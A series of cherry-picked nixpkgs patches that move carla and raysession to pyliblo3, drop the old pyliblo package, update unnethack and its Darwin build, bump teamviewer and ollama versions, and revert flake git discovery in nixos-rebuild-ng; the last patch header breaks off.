Date: Mon, 23 Jun 2025 07:11:10 +0100
Subject: [PATCH 2133/4511] carla: use pyliblo3

(cherry picked from commit 0702aae2176088e419752fe618553bf5332474e7)
---
 pkgs/applications/audio/carla/default.nix | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/pkgs/applications/audio/carla/default.nix b/pkgs/applications/audio/carla/default.nix
index 7748d68206e7..eec155591d35 100644
--- a/pkgs/applications/audio/carla/default.nix
+++ b/pkgs/applications/audio/carla/default.nix
@@ -2,6 +2,7 @@
   lib,
   stdenv,
   fetchFromGitHub,
+  fetchpatch2,
   alsa-lib,
   file,
   fluidsynth,
@@ -36,6 +37,15 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-FM/6TtNhDml1V9C5VisjLcZ3CzXsuwCZrsoz4yP3kI8=";
   };
 
+  patches = [
+    (fetchpatch2 {
+      # https://github.com/falkTX/Carla/pull/1933
+      name = "prefer-pyliblo3-over-pyliblo.patch";
+      url = "https://github.com/falkTX/Carla/commit/a81a2a545d2529233a6e0faa776fbd2d851442fb.patch?full_index=1";
+      hash = "sha256-CHK3Aq/W9PdfMGsJunLN/WAxOmWJHc0jr/3TdEaIcMM=";
+    })
+  ];
+
   nativeBuildInputs = [
     python3Packages.wrapPython
     pkg-config
@@ -47,7 +57,7 @@ stdenv.mkDerivation (finalAttrs: {
     with python3Packages;
     [
       rdflib
-      pyliblo
+      pyliblo3
     ]
     ++ lib.optional withFrontend pyqt5;
 

From 9f79b4afd5a0bb4964a7a0b51161234fdf08c274 Mon Sep 17 00:00:00 2001
From: ArchercatNEO <tururu.pompella@gmail.com>
Date: Mon, 23 Jun 2025 07:11:27 +0100
Subject: [PATCH 2134/4511] raysession: use pyliblo3

(cherry picked from commit 56157c3f8528351fa70616d971511e86231244e9)
---
 pkgs/applications/audio/raysession/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/audio/raysession/default.nix b/pkgs/applications/audio/raysession/default.nix
index 38c6b78d72d7..ad6ae6e03dd9 100644
--- a/pkgs/applications/audio/raysession/default.nix
+++ b/pkgs/applications/audio/raysession/default.nix
@@ -3,7 +3,7 @@
   fetchurl,
   buildPythonApplication,
   libjack2,
-  pyliblo,
+  pyliblo3,
   pyqt5,
   which,
   bash,
@@ -39,8 +39,8 @@ buildPythonApplication rec {
     libjack2
     bash
   ];
-  propagatedBuildInputs = [
-    pyliblo
+  dependencies = [
+    pyliblo3
     pyqt5
   ];
 

From 184d4edb88ae928a9a8c3f88cd509a7f81bab29f Mon Sep 17 00:00:00 2001
From: ArchercatNEO <tururu.pompella@gmail.com>
Date: Mon, 23 Jun 2025 07:15:33 +0100
Subject: [PATCH 2135/4511] python3Packages.pyliblo: drop

Fixes #389149
Supersedes #418499

pyliblo has been unmaintained for 10 years and its required cpython version is incompatible with python 3.13.
Rather than keeping and patching a package with build issues we are
moving to a fork which builds under modern tooling.

(cherry picked from commit 4276e92b4f450ebfc99eeb45e171e3f3e4fe0592)
---
 .../python-modules/pyliblo/default.nix        | 42 -------------------
 pkgs/top-level/python-aliases.nix             |  1 +
 pkgs/top-level/python-packages.nix            |  2 -
 3 files changed, 1 insertion(+), 44 deletions(-)
 delete mode 100644 pkgs/development/python-modules/pyliblo/default.nix

diff --git a/pkgs/development/python-modules/pyliblo/default.nix b/pkgs/development/python-modules/pyliblo/default.nix
deleted file mode 100644
index d5756f745b27..000000000000
--- a/pkgs/development/python-modules/pyliblo/default.nix
+++ /dev/null
@@ -1,42 +0,0 @@
-{
-  lib,
-  buildPythonPackage,
-  fetchurl,
-  isPyPy,
-  liblo,
-  cython_0,
-}:
-
-buildPythonPackage rec {
-  pname = "pyliblo";
-  version = "0.10.0";
-  format = "setuptools";
-  disabled = isPyPy;
-
-  src = fetchurl {
-    url = "http://das.nasophon.de/download/${pname}-${version}.tar.gz";
-    sha256 = "13vry6xhxm7adnbyj28w1kpwrh0kf7nw83cz1yq74wl21faz2rzw";
-  };
-
-  patches = [
-    (fetchurl {
-      url = "https://git.alpinelinux.org/aports/plain/community/py3-pyliblo/py3.11.patch?id=a7e1eca5533657ddd7e37c43e67e8126e3447258";
-      hash = "sha256-4yCWNQaE/9FHGTVuvNEimBNuViWZ9aSJMcpTOP0fnM0=";
-    })
-    # Fix compile error due to  incompatible pointer type 'lo_blob_dataptr'
-    (fetchurl {
-      url = "https://github.com/dsacre/pyliblo/commit/ebbb255d6a73384ec2560047eab236660d4589db.patch?full_index=1";
-      hash = "sha256-ZBAmBxSUT2xgoDVqSjq8TxW2jz3xR/pdCf2O3wMKvls=";
-    })
-  ];
-
-  build-system = [ cython_0 ];
-
-  buildInputs = [ liblo ];
-
-  meta = with lib; {
-    homepage = "https://das.nasophon.de/pyliblo/";
-    description = "Python wrapper for the liblo OSC library";
-    license = licenses.lgpl21Only;
-  };
-}
diff --git a/pkgs/top-level/python-aliases.nix b/pkgs/top-level/python-aliases.nix
index cc2466fbc39a..b9264f9a8e9f 100644
--- a/pkgs/top-level/python-aliases.nix
+++ b/pkgs/top-level/python-aliases.nix
@@ -544,6 +544,7 @@ mapAliases ({
   pyhiveapi = pyhive-integration; # Added 2025-02-22
   pyhs100 = throw "pyhs100 has been removed in favor of python-kasa."; # added 2024-01-05
   pylibgen = throw "pylibgen is unmaintained upstreamed, and removed from nixpkgs"; # added 2020-06-20
+  pyliblo = throw "pyliblo is unmaintained upstream and was removed from nixpkgs. Please use pyliblo3 instead"; # added 2025-06-23
   PyLD = pyld; # added 2022-06-22
   pylti = throw "pylti has been removed because it is unmaintained since 2019"; # added 2024-05-21
   pymaging = throw "pymaging has been removed because it has not been maintained for 10 years and has been archived."; # added 2023-11-04
diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index fbd372d13c68..b30a114718e6 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -12700,8 +12700,6 @@ self: super: with self; {
 
   pylibjpeg-openjpeg = callPackage ../development/python-modules/pylibjpeg-openjpeg { };
 
-  pyliblo = callPackage ../development/python-modules/pyliblo { };
-
   pyliblo3 = callPackage ../development/python-modules/pyliblo3 { };
 
   pylibmc = callPackage ../development/python-modules/pylibmc { };

From 3dea7e490908599692fb7468c292d6117211bf58 Mon Sep 17 00:00:00 2001
From: Petr Zahradnik <junior@zahradnik.cz>
Date: Sun, 8 Jun 2025 23:31:54 +0200
Subject: [PATCH 2136/4511] unnethack: 5.3.2 -> 6.0.14

(cherry picked from commit 4fe48a575887e0a00f3c3f70d38d8b5524a94989)
---
 pkgs/by-name/un/unnethack/package.nix | 42 +++++++++------------------
 1 file changed, 14 insertions(+), 28 deletions(-)

diff --git a/pkgs/by-name/un/unnethack/package.nix b/pkgs/by-name/un/unnethack/package.nix
index ec6637926b84..d4462e8c0d19 100644
--- a/pkgs/by-name/un/unnethack/package.nix
+++ b/pkgs/by-name/un/unnethack/package.nix
@@ -2,26 +2,29 @@
   lib,
   stdenv,
   fetchFromGitHub,
-  fetchpatch,
   util-linux,
   ncurses,
   flex,
   bison,
+  lua5_4,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation {
   pname = "unnethack";
-  version = "5.3.2";
+  version = "6.0.14";
 
   src = fetchFromGitHub {
-    name = "UnNetHack";
     owner = "UnNetHack";
     repo = "UnNetHack";
-    rev = version;
-    sha256 = "1rg0mqyplgn3dfh3wz09a600qxk7aidqw4d84kyiincljvhyb7ps";
+    # releases are not tagged
+    rev = "c8c1a467bb114fc7cb9967d20ebf389e11e1e7fd";
+    hash = "sha256-45sybOM2zCPCCuHGZ5sEeJzkgcwvi3MhgOC1v1kRwWg=";
   };
 
-  buildInputs = [ ncurses ];
+  buildInputs = [
+    ncurses
+    lua5_4
+  ];
 
   nativeBuildInputs = [
     util-linux
@@ -38,25 +41,8 @@ stdenv.mkDerivation rec {
   ];
 
   makeFlags = [ "GAMEPERM=744" ];
-  patches = [
-    # fix regression with bison, merged in master
-    (fetchpatch {
-      name = "fix-bison.patch";
-      url = "https://github.com/UnNetHack/UnNetHack/commit/04f0a3a850a94eb8837ddcef31303968240d1c31.patch";
-      sha256 = "1zblbwqqz9nx16k6n31wi2hdvz775lvzmkjblmrx18nbm4ylj0n9";
-    })
-  ];
 
-  # Fails at startup due to off-by-one:
-  #   https://github.com/NixOS/nixpkgs/issues/292113#issuecomment-1969989058
-  # TODO: drop it once 6.x branch releases.
-  hardeningDisable = [ "fortify3" ];
-
-  # Fails the build occasionally due to missing build depends:
-  #   ./../sys/unix/unixmain.c:9:10: fatal error: date.h: No such file or directory
-  # TODO: remove once upstream issue is fixed:
-  #   https://github.com/UnNetHack/UnNetHack/issues/56
-  enableParallelBuilding = false;
+  enableParallelBuilding = true;
 
   postInstall = ''
     cp -r /tmp/unnethack $out/share/unnethack/profile
@@ -81,12 +67,12 @@ stdenv.mkDerivation rec {
     chmod +x $out/bin/unnethack
   '';
 
-  meta = with lib; {
+  meta = {
     description = "Fork of NetHack";
     mainProgram = "unnethack";
     homepage = "https://unnethack.wordpress.com/";
     license = "nethack";
-    platforms = platforms.all;
-    maintainers = with maintainers; [ abbradar ];
+    platforms = lib.platforms.all;
+    maintainers = with lib.maintainers; [ abbradar ];
   };
 }

From 74086e4a74f01f81e8ade970d0a5ce62aa38e5f8 Mon Sep 17 00:00:00 2001
From: Petr Zahradnik <junior@zahradnik.cz>
Date: Sun, 6 Jul 2025 12:45:08 +0200
Subject: [PATCH 2137/4511] unnethack: fix Darwin build

(cherry picked from commit db7b5f2b6470c564602c9737033688bd7e0f06e8)
---
 .../un/unnethack/disable-col-check.patch      | 25 +++++++++++++++++++
 pkgs/by-name/un/unnethack/package.nix         |  6 +++++
 2 files changed, 31 insertions(+)
 create mode 100644 pkgs/by-name/un/unnethack/disable-col-check.patch

diff --git a/pkgs/by-name/un/unnethack/disable-col-check.patch b/pkgs/by-name/un/unnethack/disable-col-check.patch
new file mode 100644
index 000000000000..99ce396c4a72
--- /dev/null
+++ b/pkgs/by-name/un/unnethack/disable-col-check.patch
@@ -0,0 +1,25 @@
+diff --git a/configure b/configure
+index 8fca0b9cb..5d9ee20ac 100755
+--- a/configure
++++ b/configure
+@@ -8239,13 +8239,13 @@ printf '%s\n' "no" >&6; }
+ fi
+ 
+ 
+-if test "$HAVE_COL" != "yes" ; then
+-        if test $host_os != mingw32; then
+-                as_fn_error $? "Couldn't find 'col'" "$LINENO" 5
+-        else
+-                as_fn_error $? "Couldn't find 'col' (install 'util-linux' in Cygwin)" "$LINENO" 5
+-        fi
+-fi
++#if test "$HAVE_COL" != "yes" ; then
++#        if test $host_os != mingw32; then
++#                as_fn_error $? "Couldn't find 'col'" "$LINENO" 5
++#        else
++#                as_fn_error $? "Couldn't find 'col' (install 'util-linux' in Cygwin)" "$LINENO" 5
++#        fi
++#fi
+ 
+ if test $host_os != mingw32; then
+     { printf '%s\n' "$as_me:${as_lineno-$LINENO}: checking for pseudo random number device" >&5
diff --git a/pkgs/by-name/un/unnethack/package.nix b/pkgs/by-name/un/unnethack/package.nix
index d4462e8c0d19..cb24d0e987b3 100644
--- a/pkgs/by-name/un/unnethack/package.nix
+++ b/pkgs/by-name/un/unnethack/package.nix
@@ -21,6 +21,12 @@ stdenv.mkDerivation {
     hash = "sha256-45sybOM2zCPCCuHGZ5sEeJzkgcwvi3MhgOC1v1kRwWg=";
   };
 
+  patches = [
+    # util-linux does not contains "col" binary on Darwin. Only needed for documentation build.
+    # https://github.com/util-linux/util-linux/commit/8886d84e25a457702b45194d69a47313f76dc6bc
+    ./disable-col-check.patch
+  ];
+
   buildInputs = [
     ncurses
     lua5_4

From e725935eefeefc4e40a76084865ce4120100898a Mon Sep 17 00:00:00 2001
From: C4 Patino <c4patino@gmail.com>
Date: Sat, 5 Jul 2025 22:12:07 -0500
Subject: [PATCH 2138/4511] teamviewer: 15.66.5 -> 15.67.4

(cherry picked from commit 21206b7923f1bd72d70bb4e1b48d87e35e715879)
---
 pkgs/applications/networking/remote/teamviewer/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/networking/remote/teamviewer/default.nix b/pkgs/applications/networking/remote/teamviewer/default.nix
index b1053541e2ba..c57266e8eef4 100644
--- a/pkgs/applications/networking/remote/teamviewer/default.nix
+++ b/pkgs/applications/networking/remote/teamviewer/default.nix
@@ -30,7 +30,7 @@ mkDerivation rec {
     "out"
     "dev"
   ];
-  version = "15.66.5";
+  version = "15.67.4";
 
   src =
     let
@@ -39,11 +39,11 @@ mkDerivation rec {
     {
       x86_64-linux = fetchurl {
         url = "${base_url}/teamviewer_${version}_amd64.deb";
-        hash = "sha256-yQD2iFFFHlR6vX/5vEtBqmIOtGXa4eHbE7v7MdXgBds=";
+        hash = "sha256-ibKRYgsvBmh18LfG29ve/yrDEFTdgsNZ3kJu8YkMbsw=";
       };
       aarch64-linux = fetchurl {
         url = "${base_url}/teamviewer_${version}_arm64.deb";
-        hash = "sha256-WqC4/5egq3pHgb4v8EPevJDDNmashuQr+VBQuFLdr7Q=";
+        hash = "sha256-MDNxqmu4dJA6dWKy8EFNOy2V253+UgsYwmZ3RidQqFE=";
       };
     }
     .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");

From cf53c0f6fb681716808387345b413c4213abc0f4 Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Sun, 6 Jul 2025 17:23:06 +0100
Subject: [PATCH 2139/4511] nixos-rebuild-ng: do not resolve Flake

This code seems to be causing yet another issue related to Git
submodules. Considering the amount of issues that this code is causing,
I think it is better to remove it.

Manual revert of #375493.

(cherry picked from commit b401f9d6a2509955d86f1e6a9bac185e71019218)
---
 .../src/nixos_rebuild/models.py               | 63 ++-----------------
 .../nixos-rebuild-ng/src/tests/test_models.py | 45 +++----------
 .../ni/nixos-rebuild-ng/src/tests/test_nix.py |  6 +-
 3 files changed, 18 insertions(+), 96 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/models.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/models.py
index 79be8f4cbc3d..54f2da06f7f0 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/models.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/models.py
@@ -61,46 +61,7 @@ class BuildAttr:
         return cls(Path(file or "default.nix"), attr)
 
 
-def discover_git(location: Path) -> Path | None:
-    """
-    Discover the current git repository in the given location.
-    """
-    current = location.resolve()
-    previous = None
-
-    while current.is_dir() and current != previous:
-        dotgit = current / ".git"
-        if dotgit.is_dir():
-            return current
-        elif dotgit.is_file():  # this is a worktree
-            with dotgit.open() as f:
-                dotgit_content = f.read().strip()
-                if dotgit_content.startswith("gitdir: "):
-                    return Path(dotgit_content.split("gitdir: ")[1])
-        previous = current
-        current = current.parent
-
-    return None
-
-
-def discover_closest_flake(location: Path) -> Path | None:
-    """
-    Discover the closest flake.nix file starting from the given location upwards.
-    """
-    current = location.resolve()
-    previous = None
-
-    while current.is_dir() and current != previous:
-        flake_file = current / "flake.nix"
-        if flake_file.is_file():
-            return current
-        previous = current
-        current = current.parent
-
-    return None
-
-
-def get_hostname(target_host: Remote | None) -> str | None:
+def _get_hostname(target_host: Remote | None) -> str | None:
     if target_host:
         try:
             return run_wrapper(
@@ -133,25 +94,13 @@ class Flake:
         assert m is not None, f"got no matches for {flake_str}"
         attr = m.group("attr")
         nixos_attr = (
-            f'nixosConfigurations."{attr or get_hostname(target_host) or "default"}"'
+            f'nixosConfigurations."{attr or _get_hostname(target_host) or "default"}"'
         )
-        path_str = m.group("path")
-        if ":" in path_str:
-            return cls(path_str, nixos_attr)
-        else:
-            path = Path(path_str)
-            git_repo = discover_git(path)
-            if git_repo is not None:
-                url = f"git+file://{git_repo}"
-                flake_path = discover_closest_flake(path)
-                if (
-                    flake_path is not None
-                    and flake_path != git_repo
-                    and flake_path.is_relative_to(git_repo)
-                ):
-                    url += f"?dir={flake_path.relative_to(git_repo)}"
-                return cls(url, nixos_attr)
+        path = m.group("path")
+        if ":" in path:
             return cls(path, nixos_attr)
+        else:
+            return cls(Path(path), nixos_attr)
 
     @classmethod
     def from_arg(cls, flake_arg: Any, target_host: Remote | None) -> Self | None:  # noqa: ANN401
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_models.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_models.py
index 1922b4682cbf..90c3060e9ce4 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_models.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_models.py
@@ -30,13 +30,13 @@ def test_build_attr_to_attr() -> None:
     )
 
 
-@patch("platform.node", autospec=True, return_value="hostname")
+@patch("platform.node", autospec=True, return_value=None)
 def test_flake_parse(mock_node: Mock, tmpdir: Path, monkeypatch: MonkeyPatch) -> None:
     assert m.Flake.parse("/path/to/flake#attr") == m.Flake(
         Path("/path/to/flake"), 'nixosConfigurations."attr"'
     )
     assert m.Flake.parse("/path/ to /flake") == m.Flake(
-        Path("/path/ to /flake"), 'nixosConfigurations."hostname"'
+        Path("/path/ to /flake"), 'nixosConfigurations."default"'
     )
     with patch(
         get_qualified_name(m.run_wrapper, m),
@@ -47,40 +47,18 @@ def test_flake_parse(mock_node: Mock, tmpdir: Path, monkeypatch: MonkeyPatch) ->
         assert m.Flake.parse("/path/to/flake", target_host) == m.Flake(
             Path("/path/to/flake"), 'nixosConfigurations."remote"'
         )
-    # change directory to tmpdir
-    with monkeypatch.context() as patch_context:
-        patch_context.chdir(tmpdir)
-        assert m.Flake.parse(".#attr") == m.Flake(
-            Path("."), 'nixosConfigurations."attr"'
-        )
-        assert m.Flake.parse("#attr") == m.Flake(
-            Path("."), 'nixosConfigurations."attr"'
-        )
-        assert m.Flake.parse(".") == m.Flake(
-            Path("."), 'nixosConfigurations."hostname"'
-        )
+    assert m.Flake.parse(".#attr") == m.Flake(Path("."), 'nixosConfigurations."attr"')
+    assert m.Flake.parse("#attr") == m.Flake(Path("."), 'nixosConfigurations."attr"')
+    assert m.Flake.parse(".") == m.Flake(Path("."), 'nixosConfigurations."default"')
     assert m.Flake.parse("path:/to/flake#attr") == m.Flake(
         "path:/to/flake", 'nixosConfigurations."attr"'
     )
 
-    # from here on  we should return "default"
-    mock_node.return_value = None
+    # from here on  we should return "hostname"
+    mock_node.return_value = "hostname"
 
     assert m.Flake.parse("github:user/repo/branch") == m.Flake(
-        "github:user/repo/branch", 'nixosConfigurations."default"'
-    )
-    git_root = tmpdir / "git_root"
-    git_root.mkdir()
-    (git_root / ".git").mkdir()
-    assert m.Flake.parse(str(git_root)) == m.Flake(
-        f"git+file://{git_root}", 'nixosConfigurations."default"'
-    )
-
-    work_tree = tmpdir / "work_tree"
-    work_tree.mkdir()
-    (work_tree / ".git").write_text("gitdir: /path/to/git", "utf-8")
-    assert m.Flake.parse(str(work_tree)) == m.Flake(
-        "git+file:///path/to/git", 'nixosConfigurations."default"'
+        "github:user/repo/branch", 'nixosConfigurations."hostname"'
     )
 
 
@@ -134,14 +112,9 @@ def test_flake_from_arg(
             autospec=True,
             return_value=False,
         ),
-        patch(
-            get_qualified_name(m.discover_git),
-            autospec=True,
-            return_value="/etc/nixos",
-        ),
     ):
         assert m.Flake.from_arg(None, None) == m.Flake(
-            "git+file:///etc/nixos", 'nixosConfigurations."hostname"'
+            Path("/etc/nixos"), 'nixosConfigurations."hostname"'
         )
 
     with (
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
index 30ca2ffb5da9..601eea1da212 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
@@ -307,8 +307,8 @@ def test_edit(mock_run: Mock, monkeypatch: MonkeyPatch, tmpdir: Path) -> None:
 
 
 @patch(get_qualified_name(n.run_wrapper, n), autospec=True)
-def test_editd_flake(mock_run: Mock, monkeypatch: MonkeyPatch, tmpdir: Path) -> None:
-    flake = m.Flake.parse(f"{tmpdir}#attr")
+def test_edit_flake(mock_run: Mock) -> None:
+    flake = m.Flake.parse(".#attr")
     n.edit_flake(flake, {"commit_lock_file": True})
     mock_run.assert_called_with(
         [
@@ -318,7 +318,7 @@ def test_editd_flake(mock_run: Mock, monkeypatch: MonkeyPatch, tmpdir: Path) ->
             "edit",
             "--commit-lock-file",
             "--",
-            f'{tmpdir}#nixosConfigurations."attr"',
+            '.#nixosConfigurations."attr"',
         ],
         check=False,
     )

From 016d31ed9871c4cbd0a74246161a2e35079bd09b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 25 May 2025 21:20:33 +0000
Subject: [PATCH 2140/4511] ollama: 0.7.0 -> 0.7.1

(cherry picked from commit 42f7c724595c8b6350b1ed32551d971ce08b4425)
---
 pkgs/by-name/ol/ollama/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ol/ollama/package.nix b/pkgs/by-name/ol/ollama/package.nix
index 2a3b650472b3..f972d5af23e3 100644
--- a/pkgs/by-name/ol/ollama/package.nix
+++ b/pkgs/by-name/ol/ollama/package.nix
@@ -117,13 +117,13 @@ in
 goBuild (finalAttrs: {
   pname = "ollama";
   # don't forget to invalidate all hashes each update
-  version = "0.7.0";
+  version = "0.7.1";
 
   src = fetchFromGitHub {
     owner = "ollama";
     repo = "ollama";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-rkSWMGMKzs7V6jmxS3fG611Zahsyzz5kDI8L4HxQSfQ=";
+    hash = "sha256-ee2MkvdVDQaSFJDDuXEwedqOB2DUl3MIfp5tRxqbL8A=";
     fetchSubmodules = true;
   };
 

From 09e2bcb3411246af2d1ad60769ad77c5a83765e1 Mon Sep 17 00:00:00 2001
From: Pavol Rusnak <pavol@rusnak.io>
Date: Sun, 1 Jun 2025 23:37:27 +0200
Subject: [PATCH 2141/4511] ollama: 0.7.1 -> 0.9.0

(cherry picked from commit edbaf6d08076c9abf36419ae4d2f95bcb8c45b97)
---
 pkgs/by-name/ol/ollama/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ol/ollama/package.nix b/pkgs/by-name/ol/ollama/package.nix
index f972d5af23e3..0a5c925c77bd 100644
--- a/pkgs/by-name/ol/ollama/package.nix
+++ b/pkgs/by-name/ol/ollama/package.nix
@@ -117,13 +117,13 @@ in
 goBuild (finalAttrs: {
   pname = "ollama";
   # don't forget to invalidate all hashes each update
-  version = "0.7.1";
+  version = "0.9.0";
 
   src = fetchFromGitHub {
     owner = "ollama";
     repo = "ollama";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-ee2MkvdVDQaSFJDDuXEwedqOB2DUl3MIfp5tRxqbL8A=";
+    hash = "sha256-+8UHE9M2JWUARuuIRdKwNkn1hoxtuitVH7do5V5uEg0=";
     fetchSubmodules = true;
   };
 

From 3386732f2aa2ba5ed8373e3e78689fbf3cfbe517 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 15 Jun 2025 17:12:58 +0000
Subject: [PATCH 2142/4511] ollama: 0.9.0 -> 0.9.1

(cherry picked from commit 310d1b95a6a12546cf785c9ebee1eb36648bcb46)
---
 pkgs/by-name/ol/ollama/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ol/ollama/package.nix b/pkgs/by-name/ol/ollama/package.nix
index 0a5c925c77bd..6857406a107a 100644
--- a/pkgs/by-name/ol/ollama/package.nix
+++ b/pkgs/by-name/ol/ollama/package.nix
@@ -117,17 +117,17 @@ in
 goBuild (finalAttrs: {
   pname = "ollama";
   # don't forget to invalidate all hashes each update
-  version = "0.9.0";
+  version = "0.9.1";
 
   src = fetchFromGitHub {
     owner = "ollama";
     repo = "ollama";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-+8UHE9M2JWUARuuIRdKwNkn1hoxtuitVH7do5V5uEg0=";
+    hash = "sha256-6ha8aGRljb/uN+CtPpZDpcAVmpZccCq/1TSCQ5FVL8E=";
     fetchSubmodules = true;
   };
 
-  vendorHash = "sha256-t7+GLNC6mRcXq9ErxN6gGki5WWWoEcMfzRVjta4fddA=";
+  vendorHash = "sha256-svJt7Cuy+auVd8II3+JaAefiZcG88QyDgjWPnpoxfts=";
 
   env =
     lib.optionalAttrs enableRocm {

From ead69fcd84f27ab122d8e09dbe452ee822624af6 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 24 Jun 2025 15:49:01 +0000
Subject: [PATCH 2143/4511] ollama: 0.9.1 -> 0.9.2

(cherry picked from commit e8b58caa68fe265cb9563fd4bd57d22f4d0eadcb)
---
 pkgs/by-name/ol/ollama/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ol/ollama/package.nix b/pkgs/by-name/ol/ollama/package.nix
index 6857406a107a..f75341605558 100644
--- a/pkgs/by-name/ol/ollama/package.nix
+++ b/pkgs/by-name/ol/ollama/package.nix
@@ -117,17 +117,17 @@ in
 goBuild (finalAttrs: {
   pname = "ollama";
   # don't forget to invalidate all hashes each update
-  version = "0.9.1";
+  version = "0.9.2";
 
   src = fetchFromGitHub {
     owner = "ollama";
     repo = "ollama";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-6ha8aGRljb/uN+CtPpZDpcAVmpZccCq/1TSCQ5FVL8E=";
+    hash = "sha256-2mvaIEfto/w2yjaJxopn5L2rn8pCTHfQvo8mmzTO4i0=";
     fetchSubmodules = true;
   };
 
-  vendorHash = "sha256-svJt7Cuy+auVd8II3+JaAefiZcG88QyDgjWPnpoxfts=";
+  vendorHash = "sha256-t7+GLNC6mRcXq9ErxN6gGki5WWWoEcMfzRVjta4fddA=";
 
   env =
     lib.optionalAttrs enableRocm {

From d4cebaef56bce6f3c6383e36d357819ec81c2788 Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Thu, 26 Jun 2025 16:59:41 -0600
Subject: [PATCH 2144/4511] ollama: 0.9.2 -> 0.9.3

https://github.com/ollama/ollama/releases/tag/v0.9.3
Diff: https://github.com/ollama/ollama/compare/v0.9.2...v0.9.3
(cherry picked from commit 9d3fde1795b3739fe6f37b6a912fdb95876f4763)
---
 pkgs/by-name/ol/ollama/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ol/ollama/package.nix b/pkgs/by-name/ol/ollama/package.nix
index f75341605558..b15c86f24c46 100644
--- a/pkgs/by-name/ol/ollama/package.nix
+++ b/pkgs/by-name/ol/ollama/package.nix
@@ -117,17 +117,17 @@ in
 goBuild (finalAttrs: {
   pname = "ollama";
   # don't forget to invalidate all hashes each update
-  version = "0.9.2";
+  version = "0.9.3";
 
   src = fetchFromGitHub {
     owner = "ollama";
     repo = "ollama";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-2mvaIEfto/w2yjaJxopn5L2rn8pCTHfQvo8mmzTO4i0=";
+    hash = "sha256-bAxvlFeCxrxE8PuLbsjAwJYDeZfKb8BDuGBgX8uMgr8=";
     fetchSubmodules = true;
   };
 
-  vendorHash = "sha256-t7+GLNC6mRcXq9ErxN6gGki5WWWoEcMfzRVjta4fddA=";
+  vendorHash = "sha256-oHTo8EQGfrKOwg6SRPrL23qSH+p+clBxxiXsuO1auLk=";
 
   env =
     lib.optionalAttrs enableRocm {

From 2dbea672dd262f9fc66912b3fb1e47ab1950b99d Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Wed, 2 Jul 2025 13:52:02 -0600
Subject: [PATCH 2145/4511] ollama: 0.9.3 -> 0.9.5

https://github.com/ollama/ollama/releases/tag/v0.9.5
Diff: https://github.com/ollama/ollama/compare/v0.9.3...v0.9.5
(cherry picked from commit bd8c33782435d749d781510b8d6f699f46eb4bc5)
---
 pkgs/by-name/ol/ollama/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ol/ollama/package.nix b/pkgs/by-name/ol/ollama/package.nix
index b15c86f24c46..1e5d79cdb81b 100644
--- a/pkgs/by-name/ol/ollama/package.nix
+++ b/pkgs/by-name/ol/ollama/package.nix
@@ -117,13 +117,13 @@ in
 goBuild (finalAttrs: {
   pname = "ollama";
   # don't forget to invalidate all hashes each update
-  version = "0.9.3";
+  version = "0.9.5";
 
   src = fetchFromGitHub {
     owner = "ollama";
     repo = "ollama";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-bAxvlFeCxrxE8PuLbsjAwJYDeZfKb8BDuGBgX8uMgr8=";
+    hash = "sha256-QP70s6gPL1GJv5G4VhYwWpf5raRIcOVsjPq3Jdw89eU=";
     fetchSubmodules = true;
   };
 

From ffc3177df97b7ec185580b0aae334b5bb0ad3a9f Mon Sep 17 00:00:00 2001
From: JuliusFreudenberger <julius+git@jfreudenberger.de>
Date: Fri, 4 Jul 2025 01:25:10 +0300
Subject: [PATCH 2146/4511] teleport_17: 17.5.3 -> 17.5.4

Changelog: https://github.com/gravitational/teleport/releases/tag/v17.5.4
Diff: https://github.com/gravitational/teleport/compare/v17.5.3...v17.5.4
(cherry picked from commit 1916a8a856c337ac71db88de7ffa8ac1163a3fab)
---
